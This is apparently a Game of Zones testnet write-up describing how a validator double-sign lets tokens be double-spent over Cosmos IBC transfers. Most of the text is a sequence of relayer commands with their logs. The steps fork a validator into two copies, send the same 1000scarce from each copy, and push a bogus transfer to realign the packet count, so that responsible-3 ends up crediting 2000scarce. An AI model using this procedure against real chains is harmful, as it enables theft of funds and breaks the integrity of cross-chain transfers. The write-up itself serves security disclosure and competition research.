Cosmos' Game of Zones Phase 3: Double Spend via a Double Sign

We'll show how malicious validators (or validator keys thieves) can double-spend via IBC transfers using vanilla Tendermint, cosmos-sdk and relayer software.

For an experiment we have two chains: p2p-org-3 and responsible-3. On p2p-org-3 there are 1000, no more and no less, of very valuable tokens with scarce denom. Using our trick we can make responsible-3 accept a total sum of 2000scarce via a channel.

Double spend via a double sign step by step

To double spend we:

1. Open a channel from p2p-org-3 to responsible-3
2. Stop a single validator of p2p-org-3, replicated it in two copies (let's call them p2p-org-3.1 and p2p-org-3.2, though they still have an original chain-id of p2p-org-3) and start again in two different exemplars.

p2p-org-3.2$ rly q bal p2p-org-3
100000000000ptp,1000scarce
p2p-org-3.2$ rly q bal responsible-3
100000000000root,996000rsp,10transfer/hvigvvmjhcqwerty/ptp

3.   Send 1000 scarce from p2p-org-3.1to responsible-3.

p2p-org-3.1$ rly tx transfer p2p-org-3 responsible-3 1000scarce true $(rly ch addr responsible-3)
I[2020-06-04|23:36:45.775] ✔ [p2p-org-3]@{68672} - msg(0:transfer) hash(13628DFA68099121C323DB7C2369489E1AFB71C2737B3D92B1BACAF5A9CFBB01)
I[2020-06-04|23:36:56.725] ✔ [responsible-3]@{68908} - msg(0:update_client,1:ics04/opaque) hash(50F3730A339AE60A1FDB4FADF484EA8FDC870E9E46C8362BEE328D7D324FDDE8)
p2p-org-3.1$ rly q bal p2p-org-3
99999999500ptp
p2p-org-3.1$ rly q bal responsible-3
100000000000root,995500rsp,10transfer/hvigvvmjhcqwerty/ptp,1000transfer/hvigvvmjhcqwerty/scarce

4.  Switch to p2p-org-3.2's terminal - there we still have 1000scarce

p2p-org-3.2$ rly q bal p2p-org-3
100000000000ptp,1000scarce
p2p-org-3.2$ rly q bal responsible-3
100000000000root,995500rsp,10transfer/hvigvvmjhcqwerty/ptp,1000transfer/hvigvvmjhcqwerty/scarce

5.  Send a bogus transfer (100ptp) from p2p-org-3.2 to responsible-3 - it fails     on responsible-3 but we bump p2p-org-3.2's packet count by one to be able to send further transfers succesfully.

p2p-org-3.2$ rly tx transfer p2p-org-3 responsible-3 100ptp true $(rly ch addr responsible-3)
I[2020-06-04|23:39:07.369] ✔ [p2p-org-3]@{68700} - msg(0:transfer) hash(EB8CAE3CDE96FF9073B54B5E6F70C43B83DA13A30E06D833AA107CEB94EE6279)
I[2020-06-04|23:39:14.274] ✘ [responsible-3]@{0} - msg(0:update_client,1:ics04/opaque) err(client:15:couldn't verify counterparty packet commitment: key mismatch on operation #0: expected commitments/ports/transfer/channels/hvigvvmjhcqwerty/packets/3 but got commitments/ports/transfer/channels/hvigvvmjhcqwerty/packets/2: packet commitment verification failed)

6. Succesfully send 1000 scarce from p2p-org-3.2to responsible-3.

p2p-org-3.2$ rly tx transfer p2p-org-3 responsible-3 1000scarce true $(rly ch addr responsible-3)
I[2020-06-04|23:40:02.589] ✔ [p2p-org-3]@{68711} - msg(0:transfer) hash(83DFA4FB75D22220ECD94F134D8A8AE5BC0D0075D2DA6021B8DA6C4688E28787)
I[2020-06-04|23:40:12.237] ✔ [responsible-3]@{68947} - msg(0:update_client,1:ics04/opaque) hash(DD11048F41B6D0955EAC84D311DEF5DAD9A3F446398A59293C82A62D84F6B506)
p2p-org-3.2$ rly q bal p2p-org-3
99999998900ptp
gaia@ibc3-p2p-validator-2:/home/deploy$ rly q bal responsible-3
100000000000root,995000rsp,10transfer/hvigvvmjhcqwerty/ptp,2000transfer/hvigvvmjhcqwerty/scarce

We think that if there's ever a real attack with stolen keys or malicious validators involved, it'll be carried out with a combination of running a fork + using modified software that can issue arbitrary IBC packets (like our own RootChain).

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